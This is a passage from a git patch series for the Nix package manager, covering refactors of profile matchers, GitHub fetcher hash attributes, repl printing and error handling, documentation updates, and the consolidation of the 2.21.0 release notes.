linux32BitSystems))) { + # Some perl dependencies are broken on i686-linux. + # Since the support is only best-effort there, disable the perl + # bindings + perlBindings = self.hydraJobs.perlBindings.${system}; }); packages = forAllSystems (system: rec { From ff74c081e9996756107a7a6a718376acac1aaa17 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 7 Mar 2024 10:31:51 +0100 Subject: [PATCH 0213/1251] flake: Remove the cross-compilation to freebsd13 `libc` is broken there: https://hydra.nixos.org/build/252347598. We can reintroduce it once the base system is working --- flake.nix | 1 - 1 file changed, 1 deletion(-) diff --git a/flake.nix b/flake.nix index 42aaace67..49474b27e 100644 --- a/flake.nix +++ b/flake.nix @@ -31,7 +31,6 @@ crossSystems = [ "armv6l-unknown-linux-gnueabihf" "armv7l-unknown-linux-gnueabihf" - "x86_64-unknown-freebsd13" "x86_64-unknown-netbsd" ]; From 3d628d17041bbaab745dd04bedb2cea21c1f11a5 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Thu, 7 Mar 2024 21:40:18 +0100 Subject: [PATCH 0214/1251] profile: convert Matcher to abstract class --- src/nix/profile.cc | 122 ++++++++++++++++++++++++++------------------- 1 file changed, 71 insertions(+), 51 deletions(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index d9455b4ee..75f22934f 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -453,65 +453,85 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile } }; -enum MatcherType -{ - Regex, - StorePath, - Name, - All, -}; - struct Matcher { - MatcherType type; - std::string title; - std::function matches; + virtual std::string getTitle() = 0; + virtual bool matches(const std::string & name, const ProfileElement & element) = 0; }; -Matcher createRegexMatcher(const std::string & pattern) +struct RegexMatcher : public Matcher { - std::regex reg(pattern, std::regex::extended | std::regex::icase); - return { - .type = MatcherType::Regex, - .title = fmt("Regex '%s'", pattern), - .matches = [reg](const std::string &name, const ProfileElement & element) { - return std::regex_match(element.identifier(), reg); - }, - }; -} + std::regex regex; + std::string pattern; -Matcher createStorePathMatcher(const nix::StorePath & storePath) + RegexMatcher(const std::string & pattern) : regex(pattern, std::regex::extended | std::regex::icase), pattern(pattern) + { } + + std::string getTitle() override + { + return fmt("Regex '%s'", pattern); + } + + bool matches(const std::string & name, const ProfileElement & element) override + { + return std::regex_match(element.identifier(), regex); + } +}; + +struct StorePathMatcher : public Matcher { - return { - .type = MatcherType::StorePath, - .title = fmt("Store path '%s'", storePath.to_string()), - .matches = [storePath](const std::string &name, const ProfileElement & element) { - return element.storePaths.count(storePath); - } - }; -} + nix::StorePath storePath; -Matcher createNameMatcher(const std::string & name) { - return { - .type = MatcherType::Name, - .title = fmt("Package name '%s'", name), - .matches = [name](const std::string &elementName, const ProfileElement & element) { - return elementName == name; - } - }; -} + StorePathMatcher(const nix::StorePath & storePath) : storePath(storePath) + { } -Matcher all = { - .type = MatcherType::All, - .title = "--all", - .matches = [](const std::string &name, const ProfileElement & element) { + std::string getTitle() override + { + return fmt("Store path '%s'", storePath.to_string()); + } + + bool matches(const std::string & name, const ProfileElement & element) override + { + return element.storePaths.count(storePath); + } +}; + +struct NameMatcher : public Matcher +{ + std::string name; + + NameMatcher(const std::string & name) : name(name) + { } + + std::string getTitle() override + { + return fmt("Package name '%s'", name); + } + + bool matches(const std::string & name, const ProfileElement & element) override + { + return name == this->name; + } +}; + +struct AllMatcher : public Matcher +{ + std::string getTitle() override + { + return "--all"; + } + + bool matches(const std::string & name, const ProfileElement & element) override + { return true; } }; +AllMatcher all; + class MixProfileElementMatchers : virtual Args, virtual StoreCommand { - std::vector _matchers; + std::vector> _matchers; public: @@ -521,7 +541,7 @@ public: .longName = "all", .description = "Match all packages in the profile.", .handler = {[this]() { - _matchers.push_back(all); + _matchers.push_back(ref(std::shared_ptr(&all, [](AllMatcher*) {}))); }}, }); addFlag({ @@ -529,7 +549,7 @@ public: .description = "A regular expression to match one or more packages in the profile.", .labels = {"pattern"}, .handler = {[this](std::string arg) { - _matchers.push_back(createRegexMatcher(arg)); + _matchers.push_back(make_ref(arg)); }}, }); expectArgs({ @@ -540,9 +560,9 @@ public: if (auto n = string2Int(arg)) { throw Error("'nix profile' no longer supports indices ('%d')", *n); } else if (getStore()->isStorePath(arg)) { - _matchers.push_back(createStorePathMatcher(getStore()->parseStorePath(arg))); + _matchers.push_back(make_ref(getStore()->parseStorePath(arg))); } else { - _matchers.push_back(createNameMatcher(arg)); + _matchers.push_back(make_ref(arg)); } } }} @@ -554,7 +574,7 @@ public: throw UsageError("No packages specified."); } - if (std::find_if(_matchers.begin(), _matchers.end(), [](const Matcher & m) { return m.type == MatcherType::All; }) != _matchers.end() && _matchers.size() > 1) { + if (std::find_if(_matchers.begin(), _matchers.end(), [](const ref & m) { return m.dynamic_pointer_cast(); }) != _matchers.end() && _matchers.size() > 1) { throw UsageError("--all cannot be used with package names or regular expressions."); } @@ -567,13 +587,13 @@ public: for (auto & matcher : _matchers) { bool foundMatch = false; for (auto & [name, element] : manifest.elements) { - if (matcher.matches(name, element)) { + if (matcher->matches(name, element)) { result.insert(name); foundMatch = true; } } if (!foundMatch) { - warn("%s does not match any packages in the profile.", matcher.title); + warn("%s does not match any packages in the profile.", matcher->getTitle()); } } return result; From 6d245182e8900ad86cf767108289afc879293e8c Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 8 Mar 2024 12:40:14 +0100 Subject: [PATCH 0215/1251] GitHub fetcher: Don't emit treeHash yet But do accept it if it's there, so we don't choke on future lock files that do have the treeHash attribute. --- src/libfetchers/github.cc | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index d9d348756..1ca639419 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -111,6 +111,7 @@ struct GitArchiveInputScheme : InputScheme "narHash", "lastModified", "host", + "treeHash", }; } @@ -268,7 +269,9 @@ struct GitArchiveInputScheme : InputScheme { auto [input, tarballInfo] = downloadArchive(store, _input); + #if 0 input.attrs.insert_or_assign("treeHash", tarballInfo.treeHash.gitRev()); + #endif input.attrs.insert_or_assign("lastModified", uint64_t(tarballInfo.lastModified)); auto accessor = getTarballCache()->getAccessor(tarballInfo.treeHash, false); From 1ffcbddf62824475257da2e58b2047e87f5287c8 Mon Sep 17 00:00:00 2001 From: Jonathan Dickinson Date: Fri, 8 Mar 2024 09:24:44 -0500 Subject: [PATCH 0216/1251] docs: add inherit to language overview (#10194) * docs: add inherit to language overview Adds a short summary about `inherit` to the language overview. --- doc/manual/src/language/index.md | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/doc/manual/src/language/index.md b/doc/manual/src/language/index.md index a26e43a05..5388c6dc4 100644 --- a/doc/manual/src/language/index.md +++ b/doc/manual/src/language/index.md @@ -432,6 +432,32 @@ This is an incomplete overview of language features, by example. + + + + `inherit pkgs src;` + + + + + Adds the variables to the current scope (attribute set or `let` binding). + Desugars to `pkgs = pkgs; src = src;` + + + + + + + `inherit (pkgs) lib stdenv;` + + + + + Adds the attributes, from the attribute set in parentheses, to the current scope (attribute set or `let` binding). + Desugars to `lib = pkgs.lib; stdenv = pkgs.stdenv;` + + + From 35f2b07668f1ef7e62d16fe702278ad3115c22dd Mon Sep 17 00:00:00 2001 From: Felix Uhl Date: Fri, 8 Mar 2024 20:03:31 +0100 Subject: [PATCH 0217/1251] docs: Fix link to release note documentation --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index a0c2b16f4..887bd4802 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -67,7 +67,7 @@ Check out the [security policy](https://github.com/NixOS/nix/security/policy). - [ ] API documentation in header files - [ ] Code and comments are self-explanatory - [ ] Commit message explains **why** the change was made - - [ ] New feature or incompatible change: updated [release notes](./doc/manual/src/release-notes/rl-next.md) + - [ ] New feature or incompatible change: [add a release note](https://nixos.org/manual/nix/stable/contributing/hacking#add-a-release-note) 7. If you need additional feedback or help to getting pull request into shape, ask other contributors using [@mentions](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams). From 4910d74086a85876e093136a0e8ebc547b467af7 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Fri, 8 Mar 2024 21:43:54 -0800 Subject: [PATCH 0218/1251] Print derivation paths in `nix eval` `nix eval` forces values and prints derivations as attribute sets, so commands that print derivations (e.g. `nix eval nixpkgs#bash`) will infinitely loop and segfault. Printing derivations as `.drv` paths makes `nix eval` complete as expected. Further work is needed, but this is better than a segfault. --- src/nix/eval.cc | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/src/nix/eval.cc b/src/nix/eval.cc index 2044c8c2b..088be3b17 100644 --- a/src/nix/eval.cc +++ b/src/nix/eval.cc @@ -120,8 +120,17 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption } else { - state->forceValueDeep(*v); - logger->cout("%s", ValuePrinter(*state, *v, PrintOptions { .force = true })); + logger->cout( + "%s", + ValuePrinter( + *state, + *v, + PrintOptions { + .force = true, + .derivationPaths = true + } + ) + ); } } }; From ac730622e81336f42961cebea0f69bc637127ea4 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Sat, 9 Mar 2024 18:57:57 +0100 Subject: [PATCH 0219/1251] document where the value of `builtins.nixPath` comes from (#9113) * document default values for `nix-path` also note how it's overridden and note the effect of `restrict-eval` --- src/libexpr/eval-settings.hh | 23 +++++++++++++++++------ src/libexpr/primops.cc | 8 +++----- 2 files changed, 20 insertions(+), 11 deletions(-) diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index b5783d28f..c5581b9ff 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -21,11 +21,24 @@ struct EvalSettings : Config Setting nixPath{ this, getDefaultNixPath(), "nix-path", R"( - List of directories to be searched for `<...>` file references + List of search paths to use for [lookup path](@docroot@/language/constructs/lookup-path.md) resolution. + This setting determines the value of + [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath) and can be used with [`builtins.findFile`](@docroot@/language/builtin-constants.md#builtins-findFile). - In particular, outside of [pure evaluation mode](#conf-pure-eval), this determines the value of - [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath). - )"}; + The default value is + + ``` + $HOME/.nix-defexpr/channels + nixpkgs=$NIX_STATE_DIR/profiles/per-user/root/channels/nixpkgs + $NIX_STATE_DIR/profiles/per-user/root/channels + ``` + + It can be overridden with the [`NIX_PATH` environment variable](@docroot@/command-ref/env-common.md#env-NIX_PATH) or the [`-I` command line option](@docroot@/command-ref/opt-common.md#opt-I). + + > **Note** + > + > If [pure evaluation](#conf-pure-eval) is enabled, `nixPath` evaluates to the empty list `[ ]`. + )", {}, false}; Setting currentSystem{ this, "", "eval-system", @@ -55,8 +68,6 @@ struct EvalSettings : Config [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath), or to URIs outside of [`allowed-uris`](@docroot@/command-ref/conf-file.md#conf-allowed-uris). - - Also the default value for [`nix-path`](#conf-nix-path) is ignored, such that only explicitly set search path entries are taken into account. )"}; Setting pureEval{this, false, "pure-eval", diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index a7687fa06..bc2a70496 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1736,7 +1736,7 @@ static RegisterPrimOp primop_findFile(PrimOp { - If the suffix is found inside that directory, then the entry is a match. The combined absolute path of the directory (now downloaded if need be) and the suffix is returned. - [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions can be [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath): + [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath): ```nix @@ -4570,11 +4570,9 @@ void EvalState::createBaseEnv() addConstant("__nixPath", v, { .type = nList, .doc = R"( - List of search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). + The value of the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path): a list of search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). - Lookup path expressions can be - [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) - using this and + Lookup path expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.findFile`](./builtins.html#builtins-findFile): ```nix From ea8faf8e9ada8513fe10afdc1f369e0dc6d4dce5 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Sat, 9 Mar 2024 15:57:29 -0800 Subject: [PATCH 0220/1251] Replace `foo` with `__NIX_STR` in `cxx-big-literal` Looks a little nicer when you check the generated sources. --- mk/cxx-big-literal.mk | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/mk/cxx-big-literal.mk b/mk/cxx-big-literal.mk index 85365df8e..d64a171c8 100644 --- a/mk/cxx-big-literal.mk +++ b/mk/cxx-big-literal.mk @@ -1,5 +1,5 @@ %.gen.hh: % - @echo 'R"foo(' >> $@.tmp + @echo 'R"__NIX_STR(' >> $@.tmp $(trace-gen) cat $< >> $@.tmp - @echo ')foo"' >> $@.tmp + @echo ')__NIX_STR"' >> $@.tmp @mv $@.tmp $@ From 70e93c1e2b36d14dbd06524b73c864e3e93a2710 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Sat, 9 Mar 2024 17:07:52 -0800 Subject: [PATCH 0221/1251] Make `Matcher` subclasses `final` Fixes this very long warning, which I'll only include the first line of: /nix/store/8wrjhrycpshhc3b41xmjwvgqr2m3yajq-libcxx-16.0.6-dev/include/c++/v1/__memory/construct_at.h:66:5: warning: destructor called on non-final 'RegexMatcher' that has virtual functions but non-virtual destructor [-Wdelete-non-abstract-non-virtual-dtor] __loc->~_Tp(); --- src/nix/profile.cc | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index b5ffc7cc6..c0f805794 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -485,7 +485,7 @@ struct Matcher virtual bool matches(const std::string & name, const ProfileElement & element) = 0; }; -struct RegexMatcher : public Matcher +struct RegexMatcher final : public Matcher { std::regex regex; std::string pattern; @@ -504,7 +504,7 @@ struct RegexMatcher : public Matcher } }; -struct StorePathMatcher : public Matcher +struct StorePathMatcher final : public Matcher { nix::StorePath storePath; @@ -522,7 +522,7 @@ struct StorePathMatcher : public Matcher } }; -struct NameMatcher : public Matcher +struct NameMatcher final : public Matcher { std::string name; @@ -540,7 +540,7 @@ struct NameMatcher : public Matcher } }; -struct AllMatcher : public Matcher +struct AllMatcher final : public Matcher { std::string getTitle() override { From d859d6c4341cfc735e3c373a777ee512f800817a Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Sat, 9 Mar 2024 18:13:08 -0800 Subject: [PATCH 0222/1251] `:print` strings directly in `nix repl` Strings are now printed directly when evaluated by `:print`, rather than escaped. This makes it easier to debug multi-line strings or strings containing quotes, like the results of `builtins.readFile`, `lib.toShellArg`, and so on. ``` nix-repl> "cuppy\ndog\ncity" "cuppy\ndog\ncity" nix-repl> :p "cuppy\ndog\ncity" cuppy dog city ``` --- src/libcmd/repl.cc | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 75f20d635..1a93a54fe 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -542,6 +542,7 @@ ProcessLineResult NixRepl::processLine(std::string line) << " :l, :load Load Nix expression and add it to scope\n" << " :lf, :load-flake Load Nix flake and add it to scope\n" << " :p, :print Evaluate and print expression recursively\n" + << " Strings are printed directly, without escaping.\n" << " :q, :quit Exit nix-repl\n" << " :r, :reload Reload all files\n" << " :sh Build dependencies of derivation, then start\n" @@ -749,7 +750,11 @@ ProcessLineResult NixRepl::processLine(std::string line) else if (command == ":p" || command == ":print") { Value v; evalString(arg, v); - printValue(std::cout, v); + if (v.type() == nString) { + std::cout << v.string_view(); + } else { + printValue(std::cout, v); + } std::cout << std::endl; } From d13c63afa2b7b83de65d353918d4341e9e31e640 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Sat, 9 Mar 2024 18:28:04 -0800 Subject: [PATCH 0223/1251] Print top-level errors normally in `nix repl` MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Previously, errors while printing values in `nix repl` would be printed in `«error: ...»` brackets rather than displayed normally: ``` nix-repl> legacyPackages.aarch64-darwin.pythonPackages.APScheduler «error: Package ‘python-2.7.18.7’ in /nix/store/6s0m1qc31zw3l3kq0q4wd5cp3lqpkq0q-source/pkgs/development/interpreters/python/cpython/2.7/default.nix:335 is marked as insecure, refusing to evaluate.» ``` Now, errors will be displayed normally if they're emitted at the top-level of an expression: ``` nix-repl> legacyPackages.aarch64-darwin.pythonPackages.APScheduler error: … in the condition of the assert statement at /nix/store/6s0m1qc31zw3l3kq0q4wd5cp3lqpkq0q-source/lib/customisation.nix:268:17: 267| in commonAttrs // { 268| drvPath = assert condition; drv.drvPath; | ^ 269| outPath = assert condition; drv.outPath; … in the left operand of the OR (||) operator at /nix/store/6s0m1qc31zw3l3kq0q4wd5cp3lqpkq0q-source/pkgs/development/interpreters/python/passthrufun.nix:28:45: 27| if lib.isDerivation value then 28| lib.extendDerivation (valid value || throw "${name} should use `buildPythonPackage` or `toPythonModule` if it is to be part of the Python packages set.") {} value | ^ 29| else (stack trace truncated; use '--show-trace' to show the full trace) error: Package ‘python-2.7.18.7’ in /nix/store/6s0m1qc31zw3l3kq0q4wd5cp3lqpkq0q-source/pkgs/development/interpreters/python/cpython/2.7/default.nix:335 is marked as insecure, refusing to evaluate. ``` Errors emitted in nested structures (like e.g. when printing `nixpkgs`) will still be printed in brackets. --- src/libcmd/repl.cc | 3 +- src/libexpr/print-options.hh | 30 ++++++++- src/libexpr/print.cc | 120 +++++++++++++++++------------------ 3 files changed, 91 insertions(+), 62 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 75f20d635..fce7b1a73 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -123,7 +123,8 @@ struct NixRepl .force = true, .derivationPaths = true, .maxDepth = maxDepth, - .prettyIndent = 2 + .prettyIndent = 2, + .errors = ErrorPrintBehavior::ThrowTopLevel, }); } }; diff --git a/src/libexpr/print-options.hh b/src/libexpr/print-options.hh index 6c5e80c61..080ba26b8 100644 --- a/src/libexpr/print-options.hh +++ b/src/libexpr/print-options.hh @@ -8,6 +8,29 @@ namespace nix { +/** + * How errors should be handled when printing values. + */ +enum class ErrorPrintBehavior { + /** + * Print the first line of the error in brackets: `«error: oh no!»` + */ + Print, + /** + * Throw the error to the code that attempted to print the value, instead + * of suppressing it it. + */ + Throw, + /** + * Only throw the error if encountered at the top level of the expression. + * + * This will cause expressions like `builtins.throw "uh oh!"` to throw + * errors, but will print attribute sets and other nested structures + * containing values that error (like `nixpkgs`) normally. + */ + ThrowTopLevel, +}; + /** * Options for printing Nix values. */ @@ -68,6 +91,11 @@ struct PrintOptions */ size_t prettyIndent = 0; + /** + * How to handle errors encountered while printing values. + */ + ErrorPrintBehavior errors = ErrorPrintBehavior::Print; + /** * True if pretty-printing is enabled. */ @@ -86,7 +114,7 @@ static PrintOptions errorPrintOptions = PrintOptions { .maxDepth = 10, .maxAttrs = 10, .maxListItems = 10, - .maxStringLength = 1024 + .maxStringLength = 1024, }; } diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 9d280f623..f67e94750 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -271,25 +271,21 @@ private: void printDerivation(Value & v) { - try { - Bindings::iterator i = v.attrs->find(state.sDrvPath); - NixStringContext context; - std::string storePath; - if (i != v.attrs->end()) - storePath = state.store->printStorePath(state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation")); + Bindings::iterator i = v.attrs->find(state.sDrvPath); + NixStringContext context; + std::string storePath; + if (i != v.attrs->end()) + storePath = state.store->printStorePath(state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation")); - if (options.ansiColors) - output << ANSI_GREEN; - output << "«derivation"; - if (!storePath.empty()) { - output << " " << storePath; - } - output << "»"; - if (options.ansiColors) - output << ANSI_NORMAL; - } catch (Error & e) { - printError_(e); + if (options.ansiColors) + output << ANSI_GREEN; + output << "«derivation"; + if (!storePath.empty()) { + output << " " << storePath; } + output << "»"; + if (options.ansiColors) + output << ANSI_NORMAL; } bool shouldPrettyPrintAttrs(AttrVec & v) @@ -510,64 +506,68 @@ private: output.flush(); checkInterrupt(); - if (options.force) { - try { + try { + if (options.force) { state.forceValue(v, v.determinePos(noPos)); - } catch (Error & e) { - printError_(e); - return; } - } - switch (v.type()) { + switch (v.type()) { - case nInt: - printInt(v); - break; + case nInt: + printInt(v); + break; - case nFloat: - printFloat(v); - break; + case nFloat: + printFloat(v); + break; - case nBool: - printBool(v); - break; + case nBool: + printBool(v); + break; - case nString: - printString(v); - break; + case nString: + printString(v); + break; - case nPath: - printPath(v); - break; + case nPath: + printPath(v); + break; - case nNull: - printNull(); - break; + case nNull: + printNull(); + break; - case nAttrs: - printAttrs(v, depth); - break; + case nAttrs: + printAttrs(v, depth); + break; - case nList: - printList(v, depth); - break; + case nList: + printList(v, depth); + break; - case nFunction: - printFunction(v); - break; + case nFunction: + printFunction(v); + break; - case nThunk: - printThunk(v); - break; + case nThunk: + printThunk(v); + break; - case nExternal: - printExternal(v); - break; + case nExternal: + printExternal(v); + break; - default: - printUnknown(); - break; + default: + printUnknown(); + break; + } + } catch (Error & e) { + if (options.errors == ErrorPrintBehavior::Throw + || (options.errors == ErrorPrintBehavior::ThrowTopLevel + && depth == 0)) { + throw; + } + printError_(e); } } From c1811c1eba8f6ebfecfd15ff2ec622911b7aeae9 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Sun, 10 Mar 2024 13:38:38 +0100 Subject: [PATCH 0224/1251] Fix GitHub test Cherry-picked from 03618bb85f609a9b2f3cd6b82628a95b425e3b72. --- tests/nixos/github-flakes.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/nixos/github-flakes.nix b/tests/nixos/github-flakes.nix index a51689445..6f8a5b9d8 100644 --- a/tests/nixos/github-flakes.nix +++ b/tests/nixos/github-flakes.nix @@ -58,7 +58,7 @@ let mkdir -p $out/{commits,tarball} # Setup https://docs.github.com/en/rest/commits/commits#get-a-commit - echo '{"sha": "${private-flake-rev}"}' > $out/commits/HEAD + echo '{"sha": "${private-flake-rev}", "commit": {"tree": {"sha": "ffffffffffffffffffffffffffffffffffffffff"}}}' > $out/commits/HEAD # Setup tarball download via API dir=private-flake @@ -72,7 +72,7 @@ let mkdir -p $out/commits # Setup https://docs.github.com/en/rest/commits/commits#get-a-commit - echo '{"sha": "${nixpkgs.rev}"}' > $out/commits/HEAD + echo '{"sha": "${nixpkgs.rev}", "commit": {"tree": {"sha": "ffffffffffffffffffffffffffffffffffffffff"}}}' > $out/commits/HEAD ''; archive = pkgs.runCommand "nixpkgs-flake" {} From 841fd78baac507b1e97921afa3c2ebaeb6c65bfd Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Sun, 10 Mar 2024 13:56:53 +0100 Subject: [PATCH 0225/1251] GitArchiveInputScheme: Support the narHash attribute This is required to produce a locked flakeref. --- src/libfetchers/github.cc | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 1ca639419..8100afe4d 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -98,6 +98,10 @@ struct GitArchiveInputScheme : InputScheme if (ref) input.attrs.insert_or_assign("ref", *ref); if (host_url) input.attrs.insert_or_assign("host", *host_url); + auto narHash = url.query.find("narHash"); + if (narHash != url.query.end()) + input.attrs.insert_or_assign("narHash", narHash->second); + return input; } @@ -135,10 +139,13 @@ struct GitArchiveInputScheme : InputScheme assert(!(ref && rev)); if (ref) path += "/" + *ref; if (rev) path += "/" + rev->to_string(HashFormat::Base16, false); - return ParsedURL { + auto url = ParsedURL { .scheme = std::string { schemeName() }, .path = path, }; + if (auto narHash = input.getNarHash()) + url.query.insert_or_assign("narHash", narHash->to_string(HashFormat::SRI, true)); + return url; } Input applyOverrides( From db9bab2708d8a44067156da686dbaf7604f4bc47 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Sun, 10 Mar 2024 12:56:07 -0700 Subject: [PATCH 0226/1251] `Matcher`: Add virtual destructor --- src/nix/profile.cc | 1 + 1 file changed, 1 insertion(+) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index c0f805794..a5a40e4f6 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -481,6 +481,7 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile struct Matcher { + virtual ~Matcher() { } virtual std::string getTitle() = 0; virtual bool matches(const std::string & name, const ProfileElement & element) = 0; }; From 74008d82159b281a9d095a73a39189b8648068e9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Mon, 11 Mar 2024 15:34:23 +0100 Subject: [PATCH 0227/1251] Run preInstallCheck even when not building Add `runHook preInstallCheck` to the overriden `installCheckPhase` used for the non-build case. In particular, this allow the fix from 2a3451077677787eae176c72717817ba80738a5e to also apply there. --- package.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/package.nix b/package.nix index fa898e906..7d9a39771 100644 --- a/package.nix +++ b/package.nix @@ -343,6 +343,7 @@ in { # Work around weird bug where it doesn't think there is a Makefile. installCheckPhase = if (!doBuild && doInstallCheck) then '' + runHook preInstallCheck mkdir -p src/nix-channel make installcheck -j$NIX_BUILD_CORES -l$NIX_BUILD_CORES '' else null; From b12dc76cfc9d6de0cdb1e34d43f1373a3b305772 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 11 Mar 2024 16:22:29 +0100 Subject: [PATCH 0228/1251] release notes: 2.21.0 --- doc/manual/rl-next/arg-from-file.md | 9 - .../rl-next/better-errors-in-nix-repl.md | 40 -- .../debugger-locals-for-let-expressions.md | 9 - doc/manual/rl-next/debugger-on-trace.md | 9 - doc/manual/rl-next/debugger-positions.md | 25 -- ...debugger-more-reliably-in-let-and-calls.md | 25 -- doc/manual/rl-next/fod-sandbox-escape.md | 14 - doc/manual/rl-next/forbid-nested-debuggers.md | 32 -- doc/manual/rl-next/formal-order.md | 7 - doc/manual/rl-next/inherit-error-positions.md | 6 - doc/manual/rl-next/inherit-from-by-need.md | 7 - doc/manual/rl-next/lambda-printing.md | 50 --- doc/manual/rl-next/leading-period.md | 10 - .../rl-next/more-commands-respect-ctrl-c.md | 13 - .../rl-next/pretty-print-in-nix-repl.md | 24 -- doc/manual/rl-next/profile-regex-all.md | 35 -- doc/manual/rl-next/reduce-debugger-clutter.md | 37 -- .../rl-next/repl-ctrl-c-while-printing.md | 8 - doc/manual/rl-next/repl-cycle-detection.md | 22 -- ...-location-in-while-evaluating-attribute.md | 23 -- doc/manual/rl-next/stack-size-macos.md | 9 - doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/release-notes/rl-2.21.md | 366 ++++++++++++++++++ 23 files changed, 367 insertions(+), 414 deletions(-) delete mode 100644 doc/manual/rl-next/arg-from-file.md delete mode 100644 doc/manual/rl-next/better-errors-in-nix-repl.md delete mode 100644 doc/manual/rl-next/debugger-locals-for-let-expressions.md delete mode 100644 doc/manual/rl-next/debugger-on-trace.md delete mode 100644 doc/manual/rl-next/debugger-positions.md delete mode 100644 doc/manual/rl-next/enter-debugger-more-reliably-in-let-and-calls.md delete mode 100644 doc/manual/rl-next/fod-sandbox-escape.md delete mode 100644 doc/manual/rl-next/forbid-nested-debuggers.md delete mode 100644 doc/manual/rl-next/formal-order.md delete mode 100644 doc/manual/rl-next/inherit-error-positions.md delete mode 100644 doc/manual/rl-next/inherit-from-by-need.md delete mode 100644 doc/manual/rl-next/lambda-printing.md delete mode 100644 doc/manual/rl-next/leading-period.md delete mode 100644 doc/manual/rl-next/more-commands-respect-ctrl-c.md delete mode 100644 doc/manual/rl-next/pretty-print-in-nix-repl.md delete mode 100644 doc/manual/rl-next/profile-regex-all.md delete mode 100644 doc/manual/rl-next/reduce-debugger-clutter.md delete mode 100644 doc/manual/rl-next/repl-ctrl-c-while-printing.md delete mode 100644 doc/manual/rl-next/repl-cycle-detection.md delete mode 100644 doc/manual/rl-next/source-location-in-while-evaluating-attribute.md delete mode 100644 doc/manual/rl-next/stack-size-macos.md create mode 100644 doc/manual/src/release-notes/rl-2.21.md diff --git a/doc/manual/rl-next/arg-from-file.md b/doc/manual/rl-next/arg-from-file.md deleted file mode 100644 index 5849b11a3..000000000 --- a/doc/manual/rl-next/arg-from-file.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -synopsis: "CLI options `--arg-from-file` and `--arg-from-stdin`" -prs: 10122 ---- - -The new CLI option `--arg-from-file` *name* *path* passes the contents -of file *path* as a string value via the function argument *name* to a -Nix expression. Similarly, the new option `--arg-from-stdin` *name* -reads the contents of the string from standard input. diff --git 